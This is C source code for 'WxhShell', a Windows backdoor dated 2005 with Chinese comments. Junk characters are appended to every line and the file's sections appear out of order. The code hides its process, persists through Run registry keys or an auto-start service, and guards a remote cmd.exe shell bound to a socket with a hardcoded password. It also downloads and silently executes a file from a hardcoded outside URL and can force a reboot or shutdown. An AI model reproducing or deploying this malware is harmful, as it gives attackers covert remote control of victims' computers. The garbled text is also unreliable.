    if(Boot(SHUTDOWN)) /X.zt `  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lk,q~  
    else { SDO:Gma  
    closesocket(wsh); 'LPyh ;!f  
    ExitThread(0); 4~h 0/H"  
    } (9I(e^@]  
    break; q9rm9#}[J#  
    } [BD`h  
  // 获取shell ZAn @NA=  
  case 's': { n4S`k%CI  
    CmdShell(wsh); xw}yl4WT{  
    closesocket(wsh); v{t pRL0  
    ExitThread(0); hZ*vk  
    break; tt?`,G.(]  
  } E-.X%xfO  
  // 退出 BYEZ[cM  
  case 'x': { JS^DyBXc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); G`O*AQ}[  
    CloseIt(wsh); |YROxY"ML  
    break; >P~*@>e  
    } *{#C;"  
  // 离开 !'^l}K>  
  case 'q': { zu{K"7Bx  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); p4f9v:b[  
    closesocket(wsh); 7Qd$@  m  
    WSACleanup(); xH:L6K/c  
    exit(1); oio{@#DX`  
    break; eZ(ThA*2=t  
        } 06^/zr  
  } [?I<$f"  
  } HP]5"ziA  
OS@uGp=  
  // 提示信息 s2SV   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y4h =e~  
} $rcv@-l  
  } ;K\2/"$QD  
5s3QN{h8  
  return; yPtE5"(o  
} K*T^w3=  
XN Uw  
// shell模块句柄 i,<'AL )  
int CmdShell(SOCKET sock) Itr 4 Pr  
{ =h vPq@C%  
STARTUPINFO si; 9n\>Yieu  
ZeroMemory(&si,sizeof(si)); 2sIt~ Gn  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $3 -QM  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Anyy  
PROCESS_INFORMATION ProcessInfo; {guOAT- w  
char cmdline[]="cmd"; &mVClq  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e`g+Jf`AT  
  return 0; y@~ VE5N  
} MZQDFuvDxZ  
W.[!Q`  
// 自身启动模式 W..*!UGl  
int StartFromService(void) ^@*`vz^_  
{ R;Dj70g  
typedef struct ;LP3  
{ "JSIn"/  
  DWORD ExitStatus; ,M{G X  
  DWORD PebBaseAddress; g@!U^mr*3  
  DWORD AffinityMask; v; i4ZSV^A  
  DWORD BasePriority; lM4Z7mT /  
  ULONG UniqueProcessId; )1#/@cU  
  ULONG InheritedFromUniqueProcessId; Xrb7.Y0d  
}   PROCESS_BASIC_INFORMATION; ]?1_.Wjtt  
^PNDxtd|v  
PROCNTQSIP NtQueryInformationProcess; k5aB|xo  
@z ",1^I  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; J";N^OR{A%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hQj@D\}  
} uS0N$4  
  HANDLE             hProcess; N!~]D[D  
  PROCESS_BASIC_INFORMATION pbi; ;]grbqXVE  
41Q 5%2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $L0sBW&  
  if(NULL == hInst ) return 0; ZtO$kK%q;  
8k-]u3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); I?PqWG!O  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); EB!ne)X  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2T+-[}*  
e,}h^^"  
  if (!NtQueryInformationProcess) return 0; `OMX 9i  
b;jdk w|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $k0(iFzR1  
  if(!hProcess) return 0; 3A`]Rk   
vc"!3x-G*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m_0y]RfG  
 :2nsi4  
  CloseHandle(hProcess); $T3_~7N  
*V',@NH#Os  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ni{'V4A  
if(hProcess==NULL) return 0; V:y6NfL7i'  
,V!"4 T,Z  
HMODULE hMod; 9F[3B`w  
char procName[255]; f:+/= MW  
unsigned long cbNeeded; uc+{<E3,%  
q]OIP"yv  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >R]M:Wx  
O>pX(DS L  
  CloseHandle(hProcess); 4@fv%LOQo  
.%n_{ab1  
if(strstr(procName,"services")) return 1; // 以服务启动  ,==_u  
v}u]tl$,  
  return 0; // 注册表启动 !0?o3,of-  
} ^7+;XUyg  
fdK E1,;  
// 主模块 +_fFRyu>  
int StartWxhshell(LPSTR lpCmdLine) EP@u4F  
{ ![K\)7iKo  
  SOCKET wsl; JS ^Cc  
BOOL val=TRUE; QG?!XWz  
  int port=0; _[&V9 Jt  
  struct sockaddr_in door; N,qo/At}R[  
}_KzF~  
  if(wscfg.ws_autoins) Install(); }p6]az3  
o%~fJx:]y  
port=atoi(lpCmdLine); aXj UDu7  
AVD hgJv  
if(port<=0) port=wscfg.ws_port; {Ia1H  
<$-^^b(y  
  WSADATA data; QnOgF3t  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; N 5Om~D  
)-!)D  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~xxq.rL"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <e BmCrJ  
  door.sin_family = AF_INET; %" bI2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &2u |7U.  
  door.sin_port = htons(port); b 3Q6-  
2{=D)aC$f  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =5Db^  
closesocket(wsl); ~_JfI7={Jn  
return 1; PI%l  
} UAXp;W`  
0>CG2SRn  
  if(listen(wsl,2) == INVALID_SOCKET) { [ K/l;Zd  
closesocket(wsl); cJ$jU{}  
return 1; lfM vNv  
} KDEyVYO:  
  Wxhshell(wsl); n~yHt/T  
  WSACleanup(); QxW+|Gt._  
}O~D3z4l0  
return 0; q]: 72+  
sG#Os  
} =JE<oVP8  
wicsf<]  
// 以NT服务方式启动 #Q7:Mu+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L^t%p1R  
{  DlCN  
DWORD   status = 0; B)@Xz<Q  
  DWORD   specificError = 0xfffffff; rT4Q^t"  
uxL+oP0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; QDYuJ&!h  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]>)shH=Yx  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; l[[`-f8j  
  serviceStatus.dwWin32ExitCode     = 0; _Kaqx"D  
  serviceStatus.dwServiceSpecificExitCode = 0; BN]o!Y  
  serviceStatus.dwCheckPoint       = 0; ku m@cA  
  serviceStatus.dwWaitHint       = 0; f3! Oc  
xSN;vrLHR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N~/X.D4e#  
  if (hServiceStatusHandle==0) return; rR@]`@9  
]_B<K5  
status = GetLastError(); %%X/gvaJ  
  if (status!=NO_ERROR) }Y!V3s1bm  
{ iSf%N>y'K  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \m)s"Sh.  
    serviceStatus.dwCheckPoint       = 0; %52e^,//  
    serviceStatus.dwWaitHint       = 0; Pq+|*Y<|&  
    serviceStatus.dwWin32ExitCode     = status; X~VI}dJ  
    serviceStatus.dwServiceSpecificExitCode = specificError; =:g\I6'a  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =t_+ajY%  
    return; `m(ZX\W]  
  } no-";{c  
6 DQOar>d  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [7.Num_L  
  serviceStatus.dwCheckPoint       = 0; e}2?)B`[  
  serviceStatus.dwWaitHint       = 0; A7Y CSjB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {91Y;p C  
} <#BK(W~$  
y]{b4e  
// 处理NT服务事件,比如:启动、停止 51eZfJB  
VOID WINAPI NTServiceHandler(DWORD fdwControl) A*0X ~6W  
{ K3:z5j.X  
switch(fdwControl) 4S 4MQ  
{ Nk -xnTZ"  
case SERVICE_CONTROL_STOP: 8 t=H  
  serviceStatus.dwWin32ExitCode = 0; _"Y7}A\9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }*!L~B!  
  serviceStatus.dwCheckPoint   = 0; QyTN  V  
  serviceStatus.dwWaitHint     = 0; -ABj>y[  
  { 8HLL3H0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T$MXsq  
  } ph b ;D  
  return; l5^Q  
case SERVICE_CONTROL_PAUSE: Yl au  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; W<&/5s  
  break; 5KB Z-,  
case SERVICE_CONTROL_CONTINUE: nWCJY:q;5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /z^v% l  
  break; ).,twf58  
case SERVICE_CONTROL_INTERROGATE: <k1muSe  
  break; Yqh-U%"'  
}; ES,JdImZ|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4V[(RXc/  
} ?@x$ h  
IW n G@!  
// 标准应用程序主函数 iDDq<a.A  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >j]Gz-wC  
{ tC1'IE-h  
%Jl6e}!  
// 获取操作系统版本 >N! Xey  
OsIsNt=GetOsVer(); ]{i0?c  
GetModuleFileName(NULL,ExeFile,MAX_PATH); i88 5T '  
&0* l:uw  
  // 从命令行安装 )<J #RgE  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3?aM\z;  
)ty>{t  
  // 下载执行文件 h{HpI 0q4  
if(wscfg.ws_downexe) { k:/Z6TLk3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #('R`~  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8yI4=P"F,  
} 6&E[hvu  
5![ILa_  
if(!OsIsNt) { s0_HMP x  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,eOZv=:  
HideProc(); KpG'E  
StartWxhshell(lpCmdLine); cJm},  
} (`Y;U(n  
else .I{u[ "  
  if(StartFromService()) K ..Pn 17t  
  // 以服务方式启动 l8M}82_  
  StartServiceCtrlDispatcher(DispatchTable); dc emF  
else 7{"F%`7L  
  // 普通方式启动 @CR<&^s5V  
  StartWxhshell(lpCmdLine); #l) o<Z  
wk'(g_DP  
return 0; D)L~vA/8b  
} NmpNme  
]_s;olKNI  
HIj:?y  
'YN:cr,V  
=========================================== fUq}dAs*K  
RigS1A\2l  
h+q#|N  
^|U5@u_  
c-7Zk!LfD  
`K$;K8!1  
" dEf5x_TGm  
~nj+" d]  
#include <stdio.h>  k_^ 4NU  
#include <string.h> p8s%bPjK  
#include <windows.h> }7%ol&<@  
#include <winsock2.h> YuoErP=P  
#include <winsvc.h> M?gZKdj  
#include <urlmon.h> $y<`Jy]+)~  
_wg~5'w8  
#pragma comment (lib, "Ws2_32.lib") v7+|G'8M`  
#pragma comment (lib, "urlmon.lib") kiin78W  
S._h->5f  
#define MAX_USER   100 // 最大客户端连接数 HF&d HD2f  
#define BUF_SOCK   200 // sock buffer i)'u!V  
#define KEY_BUFF   255 // 输入 buffer `"~X1;  
7|J&fc5BP  
#define REBOOT     0   // 重启 ex|)3|J  
#define SHUTDOWN   1   // 关机 a(JtGjTf&  
y </i1qM  
#define DEF_PORT   5000 // 监听端口 CpgaQG^  
^^xzaF  
#define REG_LEN     16   // 注册表键长度 oe9S$C;$'  
#define SVC_LEN     80   // NT服务名长度 =AHV{V~  
)i-`AJK-'v  
// 从dll定义API YSZ[~?+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); oqK: 5|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); V z5<Gr  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); DAN"&&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u0uz~ s  
3WfZzb+  
// wxhshell配置信息 Y8mv[+Z  
struct WSCFG { u7p:6W  
  int ws_port;         // 监听端口 2<2a3'pG  
  char ws_passstr[REG_LEN]; // 口令 Np~qtR  
  int ws_autoins;       // 安装标记, 1=yes 0=no phwq#AxQ   
  char ws_regname[REG_LEN]; // 注册表键名 X5tV Xd  
  char ws_svcname[REG_LEN]; // 服务名 Df1eHa5-7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4uVyf^f\]f  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  -x/g+T-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~F~hgVS5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )pey7-P7g5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" FQJFq6l  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 d?CU+=A&|  
wz:w6q  
}; }u5J<*:bZ  
7w0=i Z>K  
// default Wxhshell configuration ,.gI'YPQC  
struct WSCFG wscfg={DEF_PORT, 4x/u$Ixzh=  
    "xuhuanlingzhe", H/G;hk  
    1, 3bugVJ9 3  
    "Wxhshell", )4+uM'2%  
    "Wxhshell", J2`OJsMwWe  
            "WxhShell Service", O_SM!!,  
    "Wrsky Windows CmdShell Service", 6& 9q6IIy  
    "Please Input Your Password: ", ?N%5c%oF  
  1, Gg7ZSB 7  
  "http://www.wrsky.com/wxhshell.exe", aUBu"P$J  
  "Wxhshell.exe" `\-MpNw  
    }; 6z67%U*8r  
KkHlMwv  
// 消息定义模块 1[dQVJqMp(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; } M\G  
char *msg_ws_prompt="\n\r? for help\n\r#>"; wK%x|%R[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /z(s1G.  
char *msg_ws_ext="\n\rExit."; 69C ss'  
char *msg_ws_end="\n\rQuit."; qkyYt#4E  
char *msg_ws_boot="\n\rReboot..."; u-dF ~.x  
char *msg_ws_poff="\n\rShutdown..."; 7aN oqS+  
char *msg_ws_down="\n\rSave to "; %A( hmC  
]<O -  
char *msg_ws_err="\n\rErr!"; D <Fl7QAb  
char *msg_ws_ok="\n\rOK!"; o\y qf:V8  
kZ 9n@($B  
char ExeFile[MAX_PATH]; )4/UzR$  
int nUser = 0; ,!^w  
HANDLE handles[MAX_USER]; |1 LKdP  
int OsIsNt; 9**u\H)P6  
D_cd l^  
SERVICE_STATUS       serviceStatus; Z~7}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; xWty2/!h  
0h2MmI#  
// 函数声明 [WunA,IuR  
int Install(void); <=~'Pd-f(  
int Uninstall(void); 5z:/d`P[  
int DownloadFile(char *sURL, SOCKET wsh); %gx>|  
int Boot(int flag); tgm(tDL  
void HideProc(void); Yf^/YLLS  
int GetOsVer(void); O[')[uo8s  
int Wxhshell(SOCKET wsl); gq?~*4H  
void TalkWithClient(void *cs); >z8y L+  
int CmdShell(SOCKET sock); }(if|skau  
int StartFromService(void); E{|n\|  
int StartWxhshell(LPSTR lpCmdLine); +Sdki::  
$U5$*R@jo[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); X1h*.reFAL  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); v{>9&o.J  
$S!WW|9j.  
// 数据结构和表定义 #*K!@X  
SERVICE_TABLE_ENTRY DispatchTable[] = X<$8'/p r  
{ : ]JsUb{YK  
{wscfg.ws_svcname, NTServiceMain}, \"@`Rf   
{NULL, NULL} N6-bUM6%I  
}; GEf[k OQ  
04<T2)QgK  
// 自我安装 D61e  
int Install(void) }=."X8zOI8  
{ jLf87  
  char svExeFile[MAX_PATH]; 15~+Ga4  
  HKEY key; r;aP`MVO<  
  strcpy(svExeFile,ExeFile); &@xeWB  
vui{["  
// 如果是win9x系统,修改注册表设为自启动  wZUR  
if(!OsIsNt) { 3H47 vm(`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g7W\  &  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I*)eP||  
  RegCloseKey(key); ma4r/8Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gbRdng7(}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /-)|dP  
  RegCloseKey(key); -`ykVH gg  
  return 0; U^X8{,8O  
    } -?<L"u  
  } Pi|oO-M  
}  =!Y{Mz  
else { /%GMbO_  
OL"So u4  
// 如果是NT以上系统,安装为系统服务 _.Bite^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ) N"gW*  
if (schSCManager!=0) MtO p][i  
{ IyA8+N y  
  SC_HANDLE schService = CreateService 9Fh(tzz  
  ( *Cgd?*\7  
  schSCManager, *:A )j?(  
  wscfg.ws_svcname, `Lu\zR%<  
  wscfg.ws_svcdisp, }UWRH.;v  
  SERVICE_ALL_ACCESS, eL!G, W  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /C}fE]n{X  
  SERVICE_AUTO_START, Kq0hT4w  
  SERVICE_ERROR_NORMAL, J#W>%2 "s  
  svExeFile, &hYjQ&n  
  NULL, )Z 3fytY  
  NULL, Qmh*Gh? v  
  NULL, wbId}!  
  NULL, WH$ Ls('  
  NULL oYN# T=Xi  
  ); 62LQUl]<  
  if (schService!=0) *ha9Vq@X  
  { >KXT2+w  
  CloseServiceHandle(schService); v)2@;Q  
  CloseServiceHandle(schSCManager); bqg\V8h  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {#y HL  
  strcat(svExeFile,wscfg.ws_svcname); ]H|1q uT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a[8_ O-   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @]h#T4z'  
  RegCloseKey(key); 2'r8#,)  
  return 0; _?2xIo  
    } @*O(dw  
  } uL4@e  
  CloseServiceHandle(schSCManager); 4.dMNqU  
} jWW2&cBm\  
} p8^^Pva/  
KXFa<^\o  
return 1; !<2*B^   
} ':w6 {b  
n%<.,(.(S  
// 自我卸载 zj;y`ENj  
int Uninstall(void) F<w/@ .&m  
{ &,&oTd.  
  HKEY key; vP'R7r2Yx  
3-8Vw$u  
if(!OsIsNt) { {UYqRfgbZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uyG4zV\h*  
  RegDeleteValue(key,wscfg.ws_regname); $P@P}%2  
  RegCloseKey(key); t5N4d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |R*fw(=W  
  RegDeleteValue(key,wscfg.ws_regname); _H8)O2mJ  
  RegCloseKey(key); +o/;bm*U<K  
  return 0; O'-lBf+<  
  } 1|cmmUM-'v  
} u-k?ef  
} {+t'XkA  
else { ~ab"q %  
oci-[CI,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9HEc=,D|  
if (schSCManager!=0) 95wV+ q*  
{ %r!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T+4Musu{V  
  if (schService!=0) j`'=K_+nU  
  { W3 8 =fyD  
  if(DeleteService(schService)!=0) { qW<: `y  
  CloseServiceHandle(schService); {YbqB6zaM  
  CloseServiceHandle(schSCManager); M3F8@|2  
  return 0; d*>M<6b-  
  } z4J-qK~2  
  CloseServiceHandle(schService); |ns^' q  
  } HKcipDW  
  CloseServiceHandle(schSCManager); xHr  
} h=4{.EegG&  
} 9Jk(ID'c  
v @N8v  
return 1; KQ9:lJKr  
} t8)Fkx#8}  
{fN_itn  
// 从指定url下载文件 TPEZ"%=Hg  
int DownloadFile(char *sURL, SOCKET wsh) iZyk2kc  
{ \K?./*  
  HRESULT hr; Y*Q( v  
char seps[]= "/"; -I8%  
char *token; PUYo >eB)0  
char *file; ln=zGX.e  
char myURL[MAX_PATH]; nQ(#'9  
char myFILE[MAX_PATH]; oG*lU h}  
Iwn@%?7  
strcpy(myURL,sURL); MB |(,{S  
  token=strtok(myURL,seps); Ol%*3To  
  while(token!=NULL) *j*jA/  
  { q-8  GD7  
    file=token; Y]gt86  
  token=strtok(NULL,seps); *,n7&  
  } Ixec]UOS  
Vd1K{rH#  
GetCurrentDirectory(MAX_PATH,myFILE); y?unI~4tC  
strcat(myFILE, "\\"); 7T2W% JT-,  
strcat(myFILE, file); "+ Qh,fTt  
  send(wsh,myFILE,strlen(myFILE),0); Vi?Z`G]w!  
send(wsh,"...",3,0); q2<J`G(tZ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7R2)Klt  
  if(hr==S_OK) 9vj:=,TNu  
return 0;  vo(?[[  
else X)&Z{ V>  
return 1; wRiP5U,  
iN {TTy  
} h.Dk>H_G  
ntkinbbD  
// 系统电源模块 bA^a@ lv a  
int Boot(int flag) z vYDE]  
{ n `Xz<Q!  
  HANDLE hToken; 2E1TJ.[BS  
  TOKEN_PRIVILEGES tkp; =91'.c<  
vaxg^n|v9  
  if(OsIsNt) { G[^G~U\+!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); V[bc-m  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \S@A /t6pa  
    tkp.PrivilegeCount = 1; k?8W2fC  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; IGqmH=-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =J'?>-B  
if(flag==REBOOT) { p.\KmEx  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) C1do]1VH  
  return 0; FXSDN268  
} &+^ # `nq  
else { qlxW@|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) P3 Evv]sB@  
  return 0; Ni)#tz_9  
} Zn} )&Xt  
  } ]`kvq0Gyb  
  else { J-ZM1HoB  
if(flag==REBOOT) { gdZVc9 _  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) i;xMf5Jz  
  return 0;  =*Yc/  
} G7202(w <  
else { #<e7 Y0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #~f+F0#%?  
  return 0; 2Ee1mbZVw8  
} @/u`7FO$&  
} +UsR  
,TtDCcjd%f  
return 1; w +Z};C  
} :y %~9=  
^MW%&&,BL  
// win9x进程隐藏模块 )/AvWDKvO  
void HideProc(void) Iq=B]oE  
{ 8WGM%n#q  
:V2 Q n-N  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); prs<ZxbQb  
  if ( hKernel != NULL ) Xda<TX@-  
  { iHn]yv3 #  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); wEbs E<</  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Iz8 ^? >X  
    FreeLibrary(hKernel); <khAc1"  
  } UmE{>5Pt  
\|t0~sRwh  
return; y~=hM   
} >PVi 3S  
@[RY8~  
// 获取操作系统版本 614/wI8(  
int GetOsVer(void) 9"RfL7{  
{ rQm  
  OSVERSIONINFO winfo; 8'[wa  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -8jqC6mQ  
  GetVersionEx(&winfo); \@3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &NQR*Tn  
  return 1; eM"mP&TTL  
  else sN}@b8o@  
  return 0; t>sX.=\$  
} Lp WEu^j  
L# 1vf  
// 客户端句柄模块 ko>_@]Jb  
int Wxhshell(SOCKET wsl) _fCHj$I*]  
{ 6)$ N[FNs  
  SOCKET wsh; 9tEKA|8  
  struct sockaddr_in client; n1>nnH]G  
  DWORD myID; K@~#Gdnl  
}x1IFTa!  
  while(nUser<MAX_USER) /xbZC{R  
{ Z+W&C@Uw  
  int nSize=sizeof(client); ^ks^9*'|j  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =ol][)Bd  
  if(wsh==INVALID_SOCKET) return 1; F s\P/YX  
cB}2(`z9 B  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6<$|;w-OV  
if(handles[nUser]==0) )YtL=w?L'  
  closesocket(wsh); 05 Q8`  
else y;Ln ao7i  
  nUser++; pe%)G6@G  
  } Ur(o&,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .6F3;bg R7  
I?g__u=n~  
  return 0; @qy*R'+  
} b[;3KmUB  
'aP*++^   
// 关闭 socket }2A1Yt:^P  
void CloseIt(SOCKET wsh) ==Mi1Q#5C  
{ &:#8ol(n5b  
closesocket(wsh); E}vO*ZZEw  
nUser--; :fVMM7  
ExitThread(0); 'f7 *RSKqb  
} ydqmuZ%2h#  
]q7 LoH'S  
// 客户端请求句柄 +%\j$Pv  
void TalkWithClient(void *cs) 6CmFmc,  
{ # pB:LPEsK  
= DTOI  
  SOCKET wsh=(SOCKET)cs; e=UVsYNx  
  char pwd[SVC_LEN]; cloSJmUlQ  
  char cmd[KEY_BUFF]; e@-Mlq)  
char chr[1]; 0P40K  
int i,j; ]"g >>N  
W.D3$  
  while (nUser < MAX_USER) { `A _8nW)  
,Z7Z!.TY!  
if(wscfg.ws_passstr) { s [F' h-y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =G F  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,1;8DfVZV  
  //ZeroMemory(pwd,KEY_BUFF); +Cg"2~  
      i=0; }lTZq|;A  
  while(i<SVC_LEN) { WriN]/yD  
Cj 2 Xl  
  // 设置超时 3@`H<tP'6o  
  fd_set FdRead; x0h3jw+6  
  struct timeval TimeOut; kok^4VV  
  FD_ZERO(&FdRead); H"rzRd; S  
  FD_SET(wsh,&FdRead); /+t[,  
  TimeOut.tv_sec=8; &:I +]G/W  
  TimeOut.tv_usec=0; LZC?383'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); y2$;t'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Cm;qDvj+u  
)USC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]z=Vc#+!  
  pwd=chr[0]; ?g;ZbD  
  if(chr[0]==0xd || chr[0]==0xa) { 3!9 yuf  
  pwd=0; IPR tm!  
  break; B4:l*P'  
  } */^2RZg|W  
  i++; u 1{ym_  
    } WmjzKCl  
rYFau1  
  // 如果是非法用户,关闭 socket <h_P+ nz  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :sVHY2x  
} /Ej]X`F  
zL},`:(.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -?B9>6 h "  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JD{MdhhV  
?6iatI !  
while(1) { n?LIphc\  
=8~R $z%  
  ZeroMemory(cmd,KEY_BUFF); YqSXi~.  
r%,H*DOu  
      // 自动支持客户端 telnet标准    _7#tgZyv  
  j=0; I>%S4Z+o  
  while(j<KEY_BUFF) { s9rtXBJP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 90qj6.SQ  
  cmd[j]=chr[0]; n1>,#|#  
  if(chr[0]==0xa || chr[0]==0xd) { v^c<`i;  
  cmd[j]=0; \;*}zX  
  break; d$_q=ywc  
  } pP0Vg'V  
  j++; uB <F.!3  
    } {y:#'n  
p=~h|(M|  
  // 下载文件 l/ rZcf8z  
  if(strstr(cmd,"http://")) { TwuX-b  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *Cnq2=A]A  
  if(DownloadFile(cmd,wsh)) ^5 ^}MB%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y <Znv%M  
  else 5M Wvu,'%8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nSxb-Ce  
  } ]`@]<6  
  else { 7SK 3  
iTLW<wG  
    switch(cmd[0]) { {b,2;w}95  
  MxgLzt Y  
  // 帮助 Sn(l$wk=  
  case '?': { k%l_N)38  
